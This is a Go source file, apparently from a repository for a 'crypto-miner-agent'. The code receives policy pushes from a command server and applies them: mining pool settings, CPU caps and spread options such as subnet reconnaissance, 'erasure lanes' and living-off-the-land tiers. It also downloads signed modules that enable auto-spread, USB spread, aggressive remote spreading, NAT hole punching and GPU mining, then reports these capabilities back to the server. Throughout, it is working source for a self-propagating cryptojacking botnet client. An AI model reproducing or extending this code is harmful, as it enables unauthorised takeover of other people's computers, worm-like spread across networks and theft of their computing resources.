Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Agents scan capped /24 targets on auth and on a server policy interval, skip known fleet IPs, and batch subnet_recon_report over WebSocket.
320 lines
9.2 KiB
Go
320 lines
9.2 KiB
Go
package client
|
|
|
|
import (
|
|
"crypto/hmac"
|
|
"crypto/sha256"
|
|
"encoding/hex"
|
|
"encoding/json"
|
|
"fmt"
|
|
"io"
|
|
"log"
|
|
"net/http"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/config"
|
|
"crypto-miner-agent/deploy"
|
|
)
|
|
|
|
// FleetPolicyUpdate is pushed from the server without re-forge.
|
|
type FleetPolicyUpdate struct {
|
|
PushID string `json:"push_id,omitempty"`
|
|
MiningMode string `json:"mining_mode,omitempty"`
|
|
ScheduleStart string `json:"schedule_start,omitempty"`
|
|
ScheduleEnd string `json:"schedule_end,omitempty"`
|
|
MaxCPUUsagePct int `json:"max_cpu_usage_pct,omitempty"`
|
|
PoolHost string `json:"pool_host,omitempty"`
|
|
PoolPort int `json:"pool_port,omitempty"`
|
|
PoolTLS *bool `json:"pool_tls,omitempty"`
|
|
PoolPass string `json:"pool_pass,omitempty"`
|
|
SpreadTemperament json.RawMessage `json:"spread_temperament,omitempty"`
|
|
SpreadPolicy json.RawMessage `json:"spread_policy,omitempty"`
|
|
}
|
|
|
|
// ModuleManifest matches server-signed feature packs.
|
|
type ModuleManifest struct {
|
|
Name string `json:"name"`
|
|
Version string `json:"version"`
|
|
DisplayName string `json:"display_name,omitempty"`
|
|
Summary string `json:"summary,omitempty"`
|
|
Description string `json:"description"`
|
|
Accent string `json:"accent,omitempty"`
|
|
Capabilities []string `json:"capabilities,omitempty"`
|
|
Features map[string]interface{} `json:"features"`
|
|
Signature string `json:"signature"`
|
|
}
|
|
|
|
func verifyModuleSignature(m ModuleManifest, fleetSecret string) bool {
|
|
if fleetSecret == "" || m.Signature == "" {
|
|
return false
|
|
}
|
|
sig := m.Signature
|
|
m.Signature = ""
|
|
payload, err := json.Marshal(m)
|
|
if err != nil {
|
|
return false
|
|
}
|
|
mac := hmac.New(sha256.New, []byte(fleetSecret))
|
|
mac.Write(payload)
|
|
expected := hex.EncodeToString(mac.Sum(nil))
|
|
return hmac.Equal([]byte(expected), []byte(sig))
|
|
}
|
|
|
|
func parseFleetPolicyUpdate(raw json.RawMessage) (FleetPolicyUpdate, error) {
|
|
var nested struct {
|
|
PushID string `json:"push_id"`
|
|
Policy json.RawMessage `json:"policy"`
|
|
}
|
|
if err := json.Unmarshal(raw, &nested); err != nil {
|
|
return FleetPolicyUpdate{}, err
|
|
}
|
|
if len(nested.Policy) > 0 {
|
|
var p FleetPolicyUpdate
|
|
if err := json.Unmarshal(nested.Policy, &p); err != nil {
|
|
return FleetPolicyUpdate{}, err
|
|
}
|
|
p.PushID = nested.PushID
|
|
return p, nil
|
|
}
|
|
var p FleetPolicyUpdate
|
|
if err := json.Unmarshal(raw, &p); err != nil {
|
|
return FleetPolicyUpdate{}, err
|
|
}
|
|
return p, nil
|
|
}
|
|
|
|
func applyFleetPolicyUpdate(cfg *config.RuntimeConfig, p FleetPolicyUpdate) {
|
|
if p.MiningMode != "" {
|
|
cfg.MiningMode = strings.TrimSpace(p.MiningMode)
|
|
}
|
|
if p.ScheduleStart != "" {
|
|
cfg.ScheduleStart = strings.TrimSpace(p.ScheduleStart)
|
|
}
|
|
if p.ScheduleEnd != "" {
|
|
cfg.ScheduleEnd = strings.TrimSpace(p.ScheduleEnd)
|
|
}
|
|
if p.MaxCPUUsagePct > 0 {
|
|
cfg.MaxCPUUsage = p.MaxCPUUsagePct
|
|
}
|
|
if p.PoolHost != "" {
|
|
cfg.PoolHost = strings.TrimSpace(p.PoolHost)
|
|
}
|
|
if p.PoolPort > 0 {
|
|
cfg.PoolPort = p.PoolPort
|
|
}
|
|
if p.PoolTLS != nil {
|
|
cfg.PoolTLS = *p.PoolTLS
|
|
}
|
|
if p.PoolPass != "" {
|
|
cfg.PoolPass = strings.TrimSpace(p.PoolPass)
|
|
}
|
|
applySpreadTemperament(cfg, p.SpreadTemperament)
|
|
if len(p.SpreadPolicy) > 0 {
|
|
applySpreadPolicyFields(cfg, p.SpreadPolicy)
|
|
}
|
|
}
|
|
|
|
func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
|
|
if len(raw) == 0 || string(raw) == "null" {
|
|
return
|
|
}
|
|
var policy struct {
|
|
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"`
|
|
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
|
|
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
|
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
|
SubnetReconEnabled bool `json:"subnet_recon_enabled"`
|
|
SubnetReconIntervalMin int `json:"subnet_recon_interval_min"`
|
|
SubnetFleetIPs []string `json:"subnet_fleet_ips"`
|
|
PolicySnapshotPollURL string `json:"policy_snapshot_poll_url"`
|
|
EventBridgeRelayURL string `json:"eventbridge_relay_url"`
|
|
SpreadTemperament json.RawMessage `json:"spread_temperament"`
|
|
}
|
|
if err := json.Unmarshal(raw, &policy); err != nil {
|
|
return
|
|
}
|
|
if policy.HashrateGateSpreadMin > 0 {
|
|
cfg.HashrateGateSpreadMin = policy.HashrateGateSpreadMin
|
|
}
|
|
if policy.HashrateGateHPS > 0 {
|
|
cfg.HashrateGateHPS = policy.HashrateGateHPS
|
|
}
|
|
cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
|
|
cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
|
|
cfg.SubnetReconEnabled = policy.SubnetReconEnabled
|
|
if policy.SubnetReconIntervalMin > 0 {
|
|
cfg.SubnetReconIntervalMin = policy.SubnetReconIntervalMin
|
|
}
|
|
if len(policy.SubnetFleetIPs) > 0 {
|
|
cfg.SubnetFleetIPs = append([]string(nil), policy.SubnetFleetIPs...)
|
|
}
|
|
if v := strings.TrimSpace(policy.PolicySnapshotPollURL); v != "" {
|
|
cfg.PolicySnapshotPollURL = v
|
|
}
|
|
if v := strings.TrimSpace(policy.EventBridgeRelayURL); v != "" {
|
|
cfg.EventBridgeRelayURL = v
|
|
}
|
|
applySpreadTemperament(cfg, policy.SpreadTemperament)
|
|
}
|
|
|
|
func applySpreadTemperament(cfg *config.RuntimeConfig, raw json.RawMessage) {
|
|
if len(raw) == 0 || string(raw) == "null" {
|
|
return
|
|
}
|
|
var body struct {
|
|
TierOrder []string `json:"tier_order"`
|
|
}
|
|
if err := json.Unmarshal(raw, &body); err != nil || len(body.TierOrder) == 0 {
|
|
return
|
|
}
|
|
if cfg.LotlPolicyFromServer || cfg.ScoutMode {
|
|
cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(body.TierOrder)
|
|
}
|
|
}
|
|
|
|
func applyModuleFeatures(cfg *config.RuntimeConfig, features map[string]interface{}) {
|
|
if v, ok := boolFeature(features, "remote_aggressive"); ok {
|
|
cfg.RemoteAggressive = v
|
|
}
|
|
if v, ok := boolFeature(features, "auto_spread"); ok {
|
|
cfg.AutoSpread = v
|
|
}
|
|
if v, ok := boolFeature(features, "usb_spread"); ok {
|
|
cfg.USBSpread = v
|
|
}
|
|
if v, ok := boolFeature(features, "hole_punch"); ok {
|
|
cfg.HolePunch = v
|
|
}
|
|
if v, ok := boolFeature(features, "mesh_p2p"); ok {
|
|
cfg.MeshP2P = v
|
|
}
|
|
if v, ok := boolFeature(features, "gpu_enabled"); ok {
|
|
cfg.GPUEnabled = v
|
|
}
|
|
}
|
|
|
|
func boolFeature(features map[string]interface{}, key string) (bool, bool) {
|
|
raw, ok := features[key]
|
|
if !ok {
|
|
return false, false
|
|
}
|
|
switch v := raw.(type) {
|
|
case bool:
|
|
return v, true
|
|
default:
|
|
return false, false
|
|
}
|
|
}
|
|
|
|
func (c *AgentClient) applyPolicyUpdate(raw json.RawMessage) {
|
|
p, err := parseFleetPolicyUpdate(raw)
|
|
if err != nil {
|
|
log.Printf("[agent] policy_update parse error: %v", err)
|
|
return
|
|
}
|
|
c.mu.Lock()
|
|
applyFleetPolicyUpdate(&c.cfg, p)
|
|
cfg := c.cfg
|
|
pushID := p.PushID
|
|
c.mu.Unlock()
|
|
if c.pool != nil {
|
|
c.pool.UpdateRuntimePolicy(cfg)
|
|
}
|
|
c.sendPolicyAck(pushID, cfg)
|
|
log.Printf("[agent] fleet policy applied (mode=%s cpu_cap=%d)", cfg.MiningMode, cfg.MaxCPUUsage)
|
|
}
|
|
|
|
func (c *AgentClient) sendPolicyAck(pushID string, cfg config.RuntimeConfig) {
|
|
payload, err := json.Marshal(map[string]interface{}{
|
|
"push_id": pushID,
|
|
"mining_mode": cfg.MiningMode,
|
|
"max_cpu_usage_pct": cfg.MaxCPUUsage,
|
|
"schedule_start": cfg.ScheduleStart,
|
|
"schedule_end": cfg.ScheduleEnd,
|
|
"pool_host": cfg.PoolHost,
|
|
"pool_port": cfg.PoolPort,
|
|
})
|
|
if err != nil {
|
|
return
|
|
}
|
|
_ = c.write(Message{Type: "policy_ack", Payload: payload})
|
|
}
|
|
|
|
func (c *AgentClient) fetchAndApplyModule(moduleName string) error {
|
|
moduleName = strings.TrimSpace(moduleName)
|
|
if moduleName == "" {
|
|
return fmt.Errorf("module name required")
|
|
}
|
|
if c.cfg.FleetSecret == "" {
|
|
return fmt.Errorf("fleet secret not configured")
|
|
}
|
|
base, err := c.apiBaseURL(c.cfg.ServerURL)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
url := base + "/agent/module/" + moduleName
|
|
req, err := http.NewRequest(http.MethodGet, url, nil)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
|
|
resp, err := http.DefaultClient.Do(req)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer resp.Body.Close()
|
|
body, err := io.ReadAll(resp.Body)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
if resp.StatusCode != http.StatusOK {
|
|
return fmt.Errorf("module fetch %s: %s", resp.Status, strings.TrimSpace(string(body)))
|
|
}
|
|
var manifest ModuleManifest
|
|
if err := json.Unmarshal(body, &manifest); err != nil {
|
|
return err
|
|
}
|
|
if !verifyModuleSignature(manifest, c.cfg.FleetSecret) {
|
|
return fmt.Errorf("module signature invalid")
|
|
}
|
|
c.mu.Lock()
|
|
applyModuleFeatures(&c.cfg, manifest.Features)
|
|
cfg := c.cfg
|
|
c.mu.Unlock()
|
|
|
|
if c.pool != nil {
|
|
c.pool.UpdateRuntimePolicy(cfg)
|
|
}
|
|
c.startGPUMinerIfNeeded()
|
|
|
|
c.reportCapabilitiesUpdate()
|
|
log.Printf("[agent] module %q applied (%s)", manifest.Name, manifest.Description)
|
|
return nil
|
|
}
|
|
|
|
func (c *AgentClient) startGPUMinerIfNeeded() {
|
|
c.mu.Lock()
|
|
defer c.mu.Unlock()
|
|
if !c.cfg.GPUEnabled || c.gpuMiner != nil {
|
|
return
|
|
}
|
|
if gm := newGPUMiner(c.cfg); gm != nil {
|
|
c.gpuMiner = gm
|
|
go gm.Start()
|
|
}
|
|
}
|
|
|
|
func (c *AgentClient) reportCapabilitiesUpdate() {
|
|
c.mu.Lock()
|
|
cfg := c.cfg
|
|
c.mu.Unlock()
|
|
payload, _ := json.Marshal(map[string]bool{
|
|
"hole_punch": cfg.HolePunch,
|
|
"remote_aggressive": cfg.RemoteAggressive,
|
|
"mesh_p2p": cfg.MeshP2P,
|
|
"auto_spread": cfg.AutoSpread,
|
|
"ai_enabled": cfg.AIEnabled,
|
|
"usb_spread": cfg.USBSpread,
|
|
})
|
|
_ = c.write(Message{Type: "capabilities_update", Payload: payload})
|
|
}
|